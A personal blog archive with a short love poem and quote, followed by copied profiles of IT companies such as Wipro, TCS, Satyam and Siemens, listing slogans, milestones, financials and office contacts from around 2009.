suyash uNpLuGGed

Qutes

2011-04-08T00:21:00.000-07:00

A kiss is not really a good kiss until it consists of honesty,respect,and last but not least, Love

What is Pain?

2010-12-12T06:22:00.000-08:00

What is pain?.....when u say, I miss Him when U r lone with me Is Pain.....when u feel guilty to be with me,just for an Hour and half is Pain.....when u don't receive my calls when u r With him...It was just pain when i hugged u and u felt guilty,...It is pain when i realize , u don't Love me Today,...but I know U really did Love me Sometime Back!

WIPRO

2009-06-30T09:40:00.000-07:00

Wipro Technologies is the world's first PCMM Level 5, SEI CMM Level 5 and CMMiLevel 5 certified IT Services company. They provide comprehensive IT solutions and services, including Systems Integration, Information Systems Outsourcing, Package Implementation, Software Application Development & Maintenance, and Research & Development services to corporations globally.

Wipro Technologies is the global technology services division of Wipro Ltd. With over two decades of IT experience, Wipro has pioneered the offshore delivery model. Combining extensive capabilities in technology with deep domain expertise, Wipro delivers seamless solutions that bring tangible business value to leading organizations around the world. Wipro is differentiated by their full-service portfolio that allows them to address diverse customer needs and deliver an integrated,one-stop solution

Corporate slogan/ Punch line	Applying thought
Vision	Business Leadership:- Among the top 10 Information Technology Services companies globally and # 1 Information Technology company in India . Customer Leadership:- The #1 choice of the customer through innovative solutions and Six Sigma processes. People Leadership:- Among the top 10 most preferred employers globally by creating an environment of empowerment, intellectual challenge and wealth sharing. Brand Leadership:- Wipro Brand to be among the top 5 most admired brands in India .
Main officers	Chairman and Managing Director-Wipro Corporation: AzimH Premji
No. of employees	78,000 +
Stock Exchange Listings	Listed at NYSE(WIT)-Part of TMT[ Technology Media-Telecom] Index of the NewYork Stock Exchange
Achievements	Revenue of US $ 1.35 billion in combined IT businesses. Wipro’s client base includes over 140 are Fortune 1000 orGlobal 500 companies, over 100 leading Indian corporates and two retail brands with revenue in excess of Rs.1 billion.
Locations	Operations in 35 countries including 10 nearshore development centersin China, Finland, France, Germany, Italy, Japan, Sweden, Switzerland, United Kingdom and USA
Key Milestones	1980 :- Diversification into Information Technology 1990:- Incorporation of Wipro-GE medical systems 1992:- Going global with global IT services division 1993:- Business innovation award for offshore development 1995:- Wipro gets ISO 9001 quality certification, re-certified twice for mature processes 1997:- Wipro gets SEI CMM level 3 certification, enterprise wide processes defined 1998:- Wipro first software services company in the world to get SEI CMM level 5 1999:- Wipro's market capitalization is the highest in India 2000:- Start of the Six Sigma initiative, defects prevention practices initiated at project level 2001:- First Indian company to achieve the "TL9000 certification" for industry specific quality standards 2001:- World's first PCMM Level 5 company 2001:- Ranked 87 among 100 best performing technology companies globally (BusinessWeek, June 2001) 2002:-World’s first CMMi ver 1.1 Level 5 company 2002:- Ranked the 7th software services company in the world by BusinessWeek (Infotech 100, November 2002) 2004:- Crossed the $1 Billion mark in annualized revenues 2005: Becomes a$2billion company 2006: Becomes the world's largest R&D service provider 2006: Acquires Quanctech, a mechanical engineering design provider 2006: Joint venture company WMNetServ with Motorola 2006: Net profit for July, August and September rises 48% to $152m (£81m) 2007: Revenues reach $3.5billion[6] 2007: Becomes SOX Compliant. 2007: Wipro-Biomed Division sold to Ranbaxy Fine Chemicals 2007: Wipro opens development center in Monterrey, Mexico 2007: Signs agreement for acquiring Infocrossing
Financial performance indicators (year ending 31st March 2007)	Revenue:$3.47 billion USD Net income:$677 million USD
Major Clients	Magneti Marelli, Epson, ABN Amro, Microsoft, Morgan Stanley, Sun Microsystems, Washington Mutual Bank, Dubai Government, Central Board of Excise and Customs, Government of India, General Motors, Compaq, Cisco, Fujitsu, Lucent, NEC
Contact	Corporate Office: Wipro Technologies Doddakannelli Sarjapur Road Bangalore - 560 035 Phone: +91 (80) 28440011 Fax: +91 (80) 28440256
BPO	Wipro Spectra mind [now renamed as Wipro BPO ] , India 's largest third party BPO services provider, employs over 10000 associates who help customers improve performance and optimize cost of ownership. Portfolio includes airline services, supply chain services, transaction processing, healthcare services and finance/accounting services.
Otherinfo	Ranked leader by IDC ,Metagroup,Forrester-2004 4^th largest in the world in terms of market capitalization in IT services Pioneers of the web based “World Campus” initiative (1000 associates world over take courses simultaneously)
Email	info@wipro.com
Website	www.wipro.com

UST GLOBAL

2009-06-30T09:39:00.000-07:00

UST Global is a 100% owned subsidiary of US Technology Resources, a California based limited liability corporation, and part of the Comcraft Group with $3.5 billion in annual revenues.

UST Global provides high quality application development, maintenance, reengineering, and other IT consulting services to industry verticals like Retail, Healthcare, E-Commerce, Utilities, Telecommunications, Shipping and Transportation, Banking and Financial Services, and Manufacturing. Its clients include several Fortune 500 corporations who are industry market leaders.

UST Global is the largest software development company in Kerala. It offers its employees tremendous opportunities for career growth as well as the opportunity to work on cutting edge technologies and concepts. KPMG has assessed UST Global at SEI CMM Level 5 of process maturity. It claims to be the fastest company in the world to achieve CMM Level 5.

Corporate slogan/Punchline	Setting the New Standard in Global Sourcing and Delivery, Transforming Lives
Vision	To be the best IT and BPO services company in the world
Values	US Technology, as an organization believes that SUCCESS lies in Exceptional Customer Satisfaction. The secret of our SUCCESS is based on ‘SPEED’. S > Speed P > Passion (and Profits) E > Exceptional Customer Satisfaction E > Excellence D > Disciplined Learning
Main officers	Dan Gupta, CEO Sajan Pillai, COO
Services	Retail, Manufacturing, Logistics, Healthcare, Financial Services
Products	Trans-e, Acado, Online Examination System
Employees	5,500+
Mile Stones	2007 UST Global announces $130 million expansion plan 2007 UST Global is included in the 2007 North American Offshore Applications Services Magic Quadrant 2007 UST Global is Profiled in Independent Research Firm Report on Midtier Providers by Forrester Research, Inc 2006 Certified ISO 27001 2006 Acquired QA labs Inc 2006 Initiated European operations with set up of London office 2006 UST Global acquires 36 acres for Exclusive Campus in Trivandrum 2005 Certified under BS7799 Part 2:2002 standards. 2005 Acquired eBuilt Inc [3] . 2005 Accredited with SEI CMMI Level 5 and PCMM Level 5 company-assessed by KPMG 2005 Opened BPO operations in Chennai, May 05 2005 2004 Expanded operations with centers at Malaysia 2003 Expanded operations with centers at Chicago and New York 2001 Becomes the fastest Company to be accredited with SEI CMM level 5 2000 Signed the first Fortune 100 customers 1999 Started Indian operations with center at Trivandrum, South India 1999 Acquired Pinnacle Consulting — a California based consulting company 1999 Magnecomp International, a division of the Singapore Listed Magnecomp Corporation, acquires an interest in USTR. Mr. G. A. Menon joins the board, becomes the non-executive chairman 1998 Company founded
Contact address	UST Global 721, NILA, Technopark Campus Trivandrum 695 581 Phone: 471-2335777 Fax: 471-2527276
Website	www.ustri.com

TATA ELXSI

2009-06-30T09:38:00.002-07:00

TataElxsi Limited , the product design arm of the US$11.2 billion Tata Group, is a company focused on delivering outsourced product design and R&D services and solutions to customers worldwide. Core technology strengths, domain skills, system engineering capabilities, custom processes for design and proficient designers form the nucleus of the company. Seamlessly integrating precision and ingenuity, Tata Elxsi's abilities stem from leadership in hard-core technology and strength in design. Augmenting these capabilities is the expertise across practice areas to provide point services and end-to-end solutions across the product lifecycle.

The company provides customized design solutions to companies across the globe from automotive to aerospace, bio informatics to consumer electronics, entertainment to FMCG, media to storage and semicon to telecom

Corporate slogan/Punch line	”Engineering creativity”, "Aspire, Act and Achieve".
Values	Engineering creativity with the best of breed technology, Tata Elxsi will strive to deliver solutions high on innovation, all the time conscious of quality, time and cost and most of all designed according to your needs.
Locations	Corporate headquarters:Bangalore Worldwide offices: Germany, Greater China, India, Japan, UK & USA . Development Centers in India : Trivandrum ,Chennai,Mumbai, Bangalore
Main officers	Chairman:-Syamal Gupta Vice Chairman:-S.Ramadorai Managing Director:-Madhukar Dev
Financial performance indicators(ending 31st March 2006)	Net Income : Rs 23,563.18 lakhs Profit after tax:-Rs 3,432.84 lakhs
Services	Product Design Services Design & Engineering Services Visual Computing Labs Systems Integration Services
Careers	Tata Elxsi encourages employees to build individual successes, to constantly learn on a personal as well as a professional one and then grow from knowledge to knowledge, to be swift in thinking and action, dedicated to progress and at all times be enthusiastic about life. The people in the company drive the success definition at Tata Elxsi, and this is reflected in the unique mix of engineering and creative talent that forms the nucleus of the company. At Tata Elxsi, every individual has a success graph mapped out for him or her. Given the skills, enthusiasm, team spirit and ability to deliver quality, the career map is clearly upward focused. Enabling people to realize their ambition in an organized and confident way is the way Tata Elxsi sees it. The company appreciates and honors commitment, nurtures families, builds individual success and increases one’s self worth.
Organizational culture	The Tata Elxsi way of life is simple to comprehend-follow that road where everything is a miracle. Opportunities waiting to be explored, ideas waiting to be born and tomorrows full of promise - is the way life is looked at. To achieve the success they enjoy the company constantly seeks people who are high on life.” One who works with passion and looks for ideas in the mundane. One who is driven by commitment and believes in team spirit”. The mere words take on a greater dimension when put in practice. This is what gives the edge to Tata Elxsi and what is reflected in their work culture. Involved and caring is what describes every one who works with the company improving the value of our self. The company’s belief is encapsulated in the WORTH philosophy Widen Horizons. Look beyond the obvious to reach greater heights. O pportunity. Make the best use of opportunity and be two steps ahead. R espect your customers, your company and be responsible for your deeds. T hink and convert that to proactive action H ave an open mind. To knowledge. To colleagues. To ideas. The company is driven by strong design principles and a commitment to ethical business practices. It ensures cost-effective, time-to-market solutions across the product life cycle for customers in a wide rage of industries
Life at Tata Elxsi	At Tata Elxsi, apart from work, another important driving force is 'fun'. Giving as much importance to extracurricular activities Annual Sports Day, Cultural Day. Festivals, be it Christmas, Diwali or Pongal which is celebrated with great gusto by everyone. Encouraging talent - musical, miming, dramatics.
Awards	Achieved ‘CMMI Level 5 ‘Assessment for both hardware and software.First company in the world to pass SCAMPI Assessment Methodology.
Other information	Tata Elxsi offers product-design solutions spanning multiple disciplines: VLSI design, embedded software, network telecom, multimedia, storage, visual computing and high-performance computing. The company is the leader in system integration solutions in areas such as CAD / CAM / CAE, scientific computing, life sciences and content creation / manipulation software. Tata Elxsi’s youngest division, Visual Computing Labs, excels in providing expert design solutions in the areas of 3D modeling, gaming, 2D animation, and SFX for the entertainment industry.
Contact address	ITPL Road , Whitefield, Bangalore - 560048 Ph: +91-80-22979123 Fax:+91-80-28411474
Website	www.tataelxsi.com
Email	info@tataelxsi.co.in ; careers@tataelxsi.co.in

Tata Consultancy Services Limited

2009-06-30T09:38:00.001-07:00

TCS is a world-leading information technology consulting, services, and business process outsourcing organization that envisioned and pioneered the adoption of the flexible global business practices.

TCS is a part of one of Asia's largest conglomerates - the TATA Group - having interests in Energy, Telecommunications, Financial Services, Chemicals, Engineering & Materials.

With a presence in 32 countries across five continents and a comprehensive range of services across diverse industries, TCS is today one of the world's leading Information Technology companies with seven of the Fortune Top 10 companies among its valued customers

Strong linkages with academia, workplace professionalism and in-house training and learning helped TCS lay the foundation for a growing into a world-class organization

Corporate slogan/Punchline	Experience Certainty
Mission	To help customers achieve their business objectives by providing innovative, best-in-class consulting, IT solutions and services. Make it a joy for all stakeholders to work with us.
Vision	To be among the global top 10 by 2010
Values	Integrity Leading Change Excellence Respect for individual Learning and Sharing
Locations	Asia Pacific: China, Hong Kong, Japan, Korea, Malaysia, Singapore, Taiwan . Europe: Belgium, Denmark, Finland, France, Germany, Hungary, Italy, Netherlands, Sweden, Switzerland Middle East: Saudi Arabia , UAE South Africa : Cape Town , Johannesberg Americas : Argentina, Brazil, Chile, Mexico, Spain, Uruguay .
Main officers	Chairman:- Mr. Ratan N. Tata Managing Director and Chief Executive Officer:- Mr. S. Ramadorai
No. of employees	100,000+
Stock exchange listings:	Bombay Stock Exchange, Mumbai, India National Stock Exchange, Mumbai, India
Services	Application development and maintenance Architecture and technology consulting BPO e-Business Engineering and Industrial Services e-Security Infrastructure development and management Large Projects Quality consulting
Products	Banking NCS, FIG, BankonABM (Activity/Performance Based Management), ISBS, ALMITY, eTreasury , eBankWorks, Riskscan , finDNA Accounting E.X. Next Generation 1.5, E. X. Personal Investment Manager, E.X. Personal Accountant Insurance Apollo TARABS Reinsurance System, PDA Quotation System, Quantum Product Designer Workbench Integrated Insurance Management System (IIMS) Financial Services Network Custodial Service, Financial Industry Gateway, eClearSettle , e-Integrated Brokerage System, TradeX esecurity , Tata-Dhruvam ™, Tata-Saakshi ™, OCSP Validation Server , FileSigner ™, FormSigner ™ Manufacturing CemPac ™, FACTORe Healthcare Tata MS, SmartClinic , Tools, MasterCraft , Infrex , DataClean CAD/CAM Products High-end MCAD Product Data Management NC Simulation Software Design Collaboration Mainstream CAD Plastics Simulation Mainstream CAE e-Governance SMARTGOV framework for knowledge-led governance Online government-citizen interface (PORTAL), VAT administration, income tax and sales tax administration. Computerised administration for enhanced responsiveness and efficiency (CARE) at the district and collectorate level. Computerised project finance management system (CPFMS) Army insurance management system (AIMS) Motor vehicle registration/ tax / driving licence KisanNet Treasury integrated system (TIS) Primary health centres Public distribution system Temple Accommodation and Seva System (TASS) Integrated Computer-based Management Information system (ICMIS) for state forest departments Integrated MIS applications for municipal area development authorities Hazard management system (PROMPT) Energy & Utilities En'rgise .
Industries	Banking Financial Services Insurance Telecom Manufacturing Media and Entertainment Retail and Consumer Goods Transportation Health and Life Sciences Energies and Utilities Sgoverance
Careers	“If you'd like to spend your career in an extremely vibrant, stimulating and fun place, TCS is where you have to be” TCS believes in offering much more than just a job; they strive to give you a full-fledged career. Towards this end TCS provides you with superior training and the opportunity to work in different industries and services on the latest technology platforms. Developing software for TCS clients - among whom are placed seven Fortune 10 companies - is a fast-paced, challenging and result-oriented endeavour , This is done in an enjoyable work environment. What TCS offers you is an accelerated career path that you yourself can design as you work. TCS also offers a host of other tangible and intangible benefits that will transform you into a world class infotech professional. If you have the talent and the ambition to grow, there's plenty of space for you at TCS. TCS’s streams of competence embrace everything from technology and strategy to research and teaching. TCS looks for versatility in their candidates, and offer them a choice of three distinct career paths: Technology stream (Technology specialisation, System architecture /analyses, Product specialisation, Business / technical analysis, Technology support, Designing / developing) Strategy and corporate stream (Project management, Business development, Human resources management, Finance development) Processes, research and teaching stream (Software processes, Quality assurance, training, Research and development, Business / technical analysis, Technology support, Designing / developing) The 'economic value added' model [EVA] that is followed at TCS ensures that the compensation packages of their employees are determined by the value they bring to the organization. The more they deliver, the more are their rewards. To be a part of the TCS family, one should be technically and technologically adept, creative and analytical and have a passion for excellence The indicative profile of a typical TCSer includes Domain knowledge, Knowledge of IT, Reasoning ability, Analytical ability, Creativity, Communication skills, Emotional maturity, Initiative, People sensitivity, Situation sensitivity, Drive and determination, Willingness to trot the globe at short notice and zeal for excellence
Organisational culture	TCS has an energetic and open workplace environment and a collaborative culture that is based on teamwork. Pulling together is a central tenet of work ethic. Energetic and full of enthusiasm, employees enjoy their day (and night) at work. Life at TCS is a stimulating and exciting experience. Not only do offices have the best infrastructure and technology, but also the employees have a knack of working hard — and partying harder. TCS is an equal-opportunity employer and TCS employees come from various nations and speak many languages. TCS is also habituated to do a regular outing.
Code of conduct	As a Tata company, TCS follows the Tata code of conduct in National interest Financial reporting and records Competition Equal opportunities employer Gifts and donations Government agencies Political non-alignment Health, safety and environment Quality of products and services Corporate citizenship Cooperation of Tata companies Public representation of the company and the group Third-party representation Use of the Tata brand Group policies Shareholders Ethical conduct Regulatory compliance Concurrent employment Conflict of interest Securities transactions and confidential information Protecting company assets Citizenship, Integrity of data furnished, Reporting concerns
Contact address	SJM Towers, 18, Sheshadri Road , Gandhinagar, Bangalore 560 009 Phone: +91-80-56606000 Fax: +91-80-2207510 International Technology Park Explorer Bldg.,11th Floor, Whitefield Road, Bangalore 560 066 Tata Consultancy Services, Technopark Campus, Kariyavattom P.O, Thiruvananthapuram 695 581 Kerala Phone: +91-471-2700671 / +91-471-2700672 / +91-471-2700678 Fax: +91-471-2700682
Website	www.tcs.com

SYNTEL

2009-06-30T09:37:00.000-07:00

Syntel , a leading global IT services firm, deliver flexible , custom Information Technology and Business Process outsourcing solutions to Global 2000 customers

Syntel is a leading global provider of custom outsourcing solutions with over 4,500 employees, 27 offices around the world, a blue-chip customer base and a market cap of more than $650 million.The combination of hands-on experience and relentless focus on business results has given rise to Syntel’s “Partner for Life” philosophy.

Corporate slogan/Punchline	Consider IT done
Mission	Syntel's mission is to service their customers for life through innovative solutions. Syntel strives to deliver quality that exceeds customers' expectations through dedication and passion for work.
Values	Syntel has a set of values that are an everyday part of working life: Syntel is dedicated to the success of customers by creating strong customer satisfaction through passion for work and are driven by "Customers for Life" philosophy. Syntel delivers quality beyond the expectation of customers. Syntel is dedicated to the success of employees- attract and retain the best and brightest employees and give them continuous opportunity for career development and learning, encourage people to take risks toward solving customer challenges. Syntel recognizes and rewards effective team builders and players who achieve results while practicing Syntel's values and principles.
Locations	27 offices worldwide headquartered at Michigan USA
Main officers	Chairman and CEO(cofounder)- Bharat Desai Chief Operating Officer -Keshav Murugesh Neerja Sethi Vice President and Co-founder of Syntel, Inc.
No. of employees	10,600+
Key milestones	1980-Year of inception 1997-Exceeded the $100 million revenue point and earned the highest "Preferred" performance rating from DaimlerChrysler. 1997- launched IPO with the sale of 3.45 million shares of stock trading on NASDAQ (‘ SYNT’) 2004-Syntel, Inc. announced today that it has been included on Forbes Magazine's "200 Best Small Companies" list for the fifth time
Stock exchange listings:	NASDAQ: SYNT
Financial performance indicators(Y04)	$270.2 million (FY 2006) $87.9 million (3Q 2007)
Services	IntelliSourcing^SM Applications Outsourcing - Custom Application Development, Maintenance, Platform Migrations/Enhancements e-Business - Business Exchanges/Marketplaces, Data Warehousing, Customer Relationship Management (CRM), Enterprise Application Integration (EAI), ERP, Web Architecture/Integration &Business Process Outsourcing (BPO)
Industries	Financial Services/Banking, Health Care, and Insurance.
Major clients	AIG, Borders Group, Daimler Chrysler, GMAC, Humana & Target
Careers	For employees, Syntel is a global company that offers a world of opportunity. Syntel provides a full IT lifecycle "playground." The company’s culture of opportunity, choice, and ownership deliver professional, personal, and financial growth to their employees Everyday professionals are implementing breakthrough technologies that further customers' competitive advantage in the global marketplace.. With ample training programs (both in-room and online), employees enjoy continual skill development. –an employee can become a certified PMP by the Project Management Institute (PMI). And, as a PMI Corporate Registered Education Provider, an employee earn Professional Development Units (PDU) for some courses. For new grads, there is a two-year intensive program- College Grad Program In addition to training, Syntel employees enjoy competitive compensation, stock ownership opportunities, an attractive benefits package, and an entrepreneurial environment where ideas take center stage. Syntel stand out as a best-in-class employer because of industry longevity,cutting edge technology solutions,best ratings in magazines viz Business Week, Forbes, Gartner, and an open culture that values team work and diversity
Organisational culture	Syntel's entrepreneurial culture encourages employees to think and act like company owners, delivering a culture of opportunity(called “Freedom of Lateral Movement”)more career choice & options, and ownership of challenges and opportunities.The company empowers employees to take risks, develop creative solutions, and do whatever it takes to make it happen for customers.
Awards	BS 7799-2:2002 certification program for Indian facilities. SEI CMM level 5 for Mumbai & Chennai development centers. (ISO) 9001:2000 certification for Mumbai and Chennai centers. neoQA seal of assurance with a Level 4 rating for its operations in , the highest level rating any supplier has achieved to date Certified Project Management Institute (PMI) Registered Education Provider & Microsoft Certified Solution Provider
Other information	Syntel's team architect and deliver real-world technology solutions that drive business results. The company’s solution approach is distinguished by characteristics include “big picture view of business problems” and project's success at a fixed price. Syntel has the experience, methodologies, and consultant training to fully integrate client’s organization to build Digital Ecosystem Syntel's top project managers are certified by the Project Management Institute (PMI). Syntel's Global Development Centers are ISO 9001:2000 certified;r centers in India have achieved SEI CMM Level 5 and BS 7799. Syntel pioneered the Global Delivery Service approach in 1992 enabling the company to deliver complex IT projects in the areas of Applications Outsourcing and e-Business, with outstanding quality and at very competitive prices
Contact address	1st Floor, Unit No. 3, No. 34 11th Cross, Indiranagar, 1st Stage Bangalore 560 038 Tel: 080-2520-1648/49 Fax: 080-2525-2311 21 Mount Road Saidapet Chennai 600 015 Tel: 044-2230 1103 / 2220 0195 Fax: 044-2230 0369 1-1-380/39 Ashok Nagar Hyderabad 500 020 Tel: 040-763 3796 / 763 5978 Fax: 040-766 1774 Unit 69, SDF III SEEPZ Andheri (East) Mumbai 400 096
Website	www.syntelinc.com
Email	recruit@syntelinc.com

SIEMENS

2009-06-30T09:36:00.000-07:00

Siemens is a global powerhouse in electrical engineering and electronics.With ten state-of-the-art manufacturing units and a unique transnational presence spanning 190 countries, the company today employs over434,000 people to design, develop & manufacture products andinstall complex systems. Siemens provides innovative technologies and comprehensive

know-how to benefit customers and also tailor a wide range of services for individual requirements. Founded more than 150 years ago, the company is active in the areas of Information and Communications, Automation and Control, Power, Transportation,Medical and Lighting.

Siemens in India The Siemens Group in India is a unique player in the field of electrical and electronics engineering. The company possess the capability to integrate diverse products, systems and services into turnkey solutions across the life- cycle of a project

The company’s expertise ranges from power plants to meters in the Energy sector,from airports tocontactors in the industry sector, from high-speed trains to safety relays in Transportation sectorand fromilluminating stadiums to manufacture of small light bulbs in Lighting sector.Siemens provides complete solutions for hospitals apart from providing“in- the canal” hearing aids. Siemens isa strong player in the communication sectoroffering a complete spectrum of products from large public networks to mobile phones.

Siemens operations in India includes 17 manufacturing plants and an extensive network of Sales and Service offices

Corporate Principles	STRENGTHENCUSTOMERS - to keep them competitive PUSH INNOVATION - to shape the future ENHANCE COMPANY VALUE - to open up new opportunities EMPOWER OUR PEOPLE - to achieve world-class performance EMBRACE CORPORATE RESPONSIBILITY - to advance society
Values	“We generate profitable growth to ensure sustainable success. We leverage our balanced business portfolio, our business excellence and synergies across all segments and regions”. Core Values : Responsibilty,Excellence,Innovation
Locations	Siemens is today represented in 190 countries across the world
Main officers	Chairman and CEO : Peter Löscher
No. of employees	475,000
Stock exchange listings:	Xetra, NYSE
Financial Performance Indicators(fiscal ending 30^TH September 2004)	Sales of €87.325 billion Net income of €3.033 billion.
Products/Services/Solutions	Information & Communication:- Siemens provides the entire spectrum of information and communications solutions. Power:-Siemens offers a comprehensive spectrum of energy solutions, ranging from electricity generation to the transport of electrical energy from power plant to consumer as coal and gas-based power plants, highly efficient combined cycle plants, hydro-electric power plants, co-generation, captive power plants and power plants based on renewable energy sources. Automation & Control:- supplies products, systems, solutions and services for industrial and building automation. Transportation:- With their wide array of products and services to make mobility more efficient and environmentally friendly. Medical:- is renowned for its innovative products, complete solutions, services and consulting for the healthcare community. Lighting The Lighting business area, comprising subsidiary Osram, specializes in lighting sources, related electronic control gear and light management systems
Careers	Siemens Studentship Programme: Siemensoffer scholarships and in-plant project work to third year students from selected colleges. Final placement offers may be made to students at the end of their projects. Campus Recruitment: Candidates are recruited from various colleges based on their academic record and a selection process in which they are assessed on certain pre-determined competencies by specially trained interview panel members Trainee Engineers Induction: Graduate Trainee Engineers are inducted with a training period of one year. During this year trainees undergo a complete information programme. Every quarter inputs are given in technical, behavioral and functional areas. They are also assigned a mentor to be their coach and friend during this year. Based on a performance evaluation at the end of the year the trainees are confirmed.
Industry	Healthcare: Clinical Manufacturing Industries: Automotive, Semiconductor Service Industries: Bank, Insurance, Tourism and Hotels Process and Basic Industries: Cement, Chemicals, Oil & Gas, Paper, Mining, Pharmaceuticals Transportation & Logistics: Airport & Airlines, Traffic Systems, Marine Industries Carrier: Fixed Network Operator, Mobile Network Operator
Awards	Siemens Information and Communication Networks was awarded the prize in the category "Network - Internet Technologies - Broadband" in this year's European Innovation Awards presented by the Wall Street Journal Europe Siemens Open Scape software platform received the 2004 Collaborative Solutions Product of the Year Award at the recent "Excellence in Information and Communication Technology Awards Banquet.
Other information	Affliates:-Major affiliates include BSH Bosch und Siemens Hausgeräte GmbH,Osram,Telefunken,Infineon and Fujitsu Siemens .
Contact address	Siemens AG Wittelsbacherplatz 2 D-80333 Munich Germany Siemens Ltd. Plot 2, Sector 2, Kharghar Node, Navi Mumbai 410 210 Fax: +91- 22 - 2756 8018 e-mail: CAREERS.IN@siemens.com Siemens Information Systems Ltd. 130, Pandurang Budhakar Marg, Worli, Mumbai - 400 018 Fax: +91 - 22 - 2496 0038 Siemens Public Communication Networks Pvt. Ltd. 484-485, Phase III, Udyog Vihar, Sector 20, Gurgaon 122 016 Fax: +91 - 124 - 634 5111 SiemensVDO Automotive Limited 140, Hosur Road, Bangalore 560 095 Fax: +91 - 80 - 553 2311
Website	www.siemens.com

SATYAM COMPUTER SERVICES LTD

2009-06-30T09:35:00.002-07:00

Satyam Computer Services Ltd. is a leading global consulting and IT services company offering a wide array of solutions customized for a range of key verticals and horizontals. As a diverse end-to-end IT solutions provider, Satyam offers a range of expertise aimed at helping customersre-engineer and re-invent their businesses to compete successfully in an ever-changing marketplace.

Satyam's network spans 53 countries across 6 continents and serve over 429 global companies including over 149 Fortune 500 corporations. Satyam is a SEI-CMM^® Level 5 & ISO 9001 Tick IT Company and the first organization in the world assessed by BVQI under ISO 9001:2000

Corporate slogan/Punch line	what business demands
Business philosophy	To leverage information, knowledge and technology to enhance human endeavor.
Locations	20 development centers across Australia, Canada, China, Hungary, India, Japan, Malaysia, Singapore, UAE, UK & USA
Main officers	Ramalinga Raju, founder and chairman Rama Raju, co-founder and CEO Ram Mynampati, president
No. of employees	45,700
Key milestones	2006: Revenue exceeds US$1 billion 2005: FLC framework launched across the entire organization Largest global development center outside India (in Melbourne) begins operation Citisoft and Knowledge Dynamics acquired 2002: Nipuna, Satyam’s BPO arm, launched in Hyderabad First Customer Summit conducted 2001: Satyam becomes world’s first ISO 9001:2000 company to be certified by BVQI Listed on the NYSE (SAY) APAC headquarters established in Singapore 2000: Associate count reaches 10,000 Satyam receives National HRD Award from Indian government Dataquest names Ramalinga Raju "IT Man of the Year" 1999: Assessed at SEI CMM® Level 5 Satyam Infoway (Sify) becomes the first Indian Internet company listed on NASDAQ Satyam forms joint venture with TRW Inc. Presence established in 30 countries 1993: Satyam signs joint venture with Dun & Bradstreet for IT Services Awarded ISO 9001 Certification Satyam Technology Center (STC) inaugurated Joint venture with GE announced
Stock exchange listings:	USA: NYSE (SAY) India: Bombay Stock Exchange (Satyam) National Stock Exchange Hyderabad Stock Exchange
Financial performance indicators (ending 31st March 2005)	Revenue: Rs. 6,485 crore; a growth of 35.3% over fiscal 2006 Total income: Rs. 6,668 crore; a growth of 35.8% over fiscal 2006 Net Profit after Tax: Rs. 1,405 crore; a growth of 43.1% over fiscal 2006
Services	Application Development and Maintenance, Business Intelligence and Data Warehousing (BI&DW), Business Process Outsourcing (BPO), Consulting and Enterprise Solutions, Embedded Services, Engineering Solutions, Enterprise Storage Solutions, ERP, Infrastructure Management Services, Managed IT Services, Quality Consulting, GIS Technology, High-Tech Solutions, MES and LIMS, Silicon Design Services, Six Sigma Consulting
Products	Vision Compass, Search Pad
Industries	Automotive, Banking and Financial Services, Education, Energy &Utility, Government, Healthcare & Insurance, Manufacturing, Real Estate & Construction, Retail, Telecom & Travel & Transportation & Telecom-Infrastructure-Media-Entertainment-Semiconductors (TIMES).
Careers	The recruitment advertisement captioned “Tie the new knot with Satyam “ talks about the knot that has enabled many careers to make a successful transition from various industries into IT. Enter Satyam, and you’ll discover, it’s a simple process since Satyam enables you to put your rich industry expertise to strategic use, in tandem with IT initiatives. Work for Fortune 500 customers Have exposure to mature Quality practices and processes Work on best-of-breed technologies Take up challenging, end-to-end projects Benefit from mentoring by experienced seniors Keep your skills upgraded by continuouslearning Grow as fast as you excel Experience a highly empowered, entrepreneurial work life Work in a competitive, free and healthy environment
Organizational culture	At Satyam there are no employees but “Associates”. Satyam believes its true strength lies in the potential of its Associates. Associates work in an atmosphere of trust and confidence. Every individual Associate is a leader. This leadership is expressed in the way tasks are assigned and taken up; the freedom with which work styles are negotiated; high standards of quality set independently by each and every Associate. A high degree of operational freedom helps Associates exercise their creativity and expertise in approaching tasks and achieving Customer Delight. At Satyam, it's ideas that drive people. A variety of programs help Associates create tangible value, constantly encouraging Associates to convert ideas into market value, in the true spirit of entrepreneurship. As a customer-centric enterprise, Satyam is not only very sharply focused on delivering what the customer demands but also providing them with the weapons to compete with. In other words Satyam delivers business competitiveness. All this eventually leads to Customer Intimacy. Achieving excellence in anything they do is a part of Satyam’s corporate DNA. It is not just lip service. Rather it is a process driven strategy that allows Satyam to benchmark everything against the global best and then surpass it, so that they set the benchmark for others to follow. In the process Satyam claims that it is always a couple of steps ahead of their nearest competitor. Satyam adheres to stringent Quality processes that meet and exceed international standards that arecontinuously monitored.
Other information	Satyam follows a specially developed Business Continuity Model(BCM), which allows the company to continue mission critical operations ofcustomers, even in the most challenging of times. The unique Right Sourcing delivery model allows the company to leverage local competencies to offer global competitiveness to customers. Satyam was one of the first 10 companies in the world to attain an organization-wide SEI CMM® Level 5 assessment. Satyam began its Quality journey with the ISO-9001 and the Tick IT certification soon followed. The recent surveillance audit by the BVQI, UK< , was another mark of recognition of Satyam's focus on Quality. Satyam is the first organization in the world assessed by BVQI and found to be in accordance with requirements of the new ISO 9001:2000 International Standards, under the Tick IT scheme. Developed a unique quality hallmark, called eSCM (e-Sourcing Capability Maturity) Model, for IT Enabled Services (ITES), in collaboration with Carnegie Mellon University and Accenture. Satyam , ranks in the Top 10 again! A record 272 companies participated in the CNBC-Hewitt Best Employer Survey, 2004 Subsidiaries: Nipuna Services Pvt. Ltd Satyam Technologies Inc. Satyam Computers (Shanghai ) Co Ltd. Citisoft Plc Joint Ventures: Satyam Venture Engineering Services Pvt. Ltd. CA Satyam ASP Pvt. Ltd. Satyam Infoway - First Indian Internet company to be listed on NASDAQ Satyam Infoway - First Indian Private Internet Service Provider Campulse is essentially a single window for all information regarding Campus Initiatives and Recruitments at Satyam. It encompasses activities like Online Registration, Campus Mentors, Faculty Development Programs, e-learning, sponsorships and News letter to name a few.
Contact address	Satyam Computer Services Ltd. 1st Floor, Mayfair Centre, S P Road Secunderabad – 500003 Andhra Pradesh, India Phone: +91-40-5585 4343 Fax: +91-40-27840058
Website	www.satyam.com
Email	corporate_communications@satyam.com

Sasken Communication Technologies Ltd

2009-06-30T09:35:00.001-07:00

Established in 1989, Sasken is a world class embedded telecom technology company offering a unique combination of complementary IP software components, research and development consultancy and software services to leading semiconductor manufacturers, network equipment companies, and global wireless handset developers.

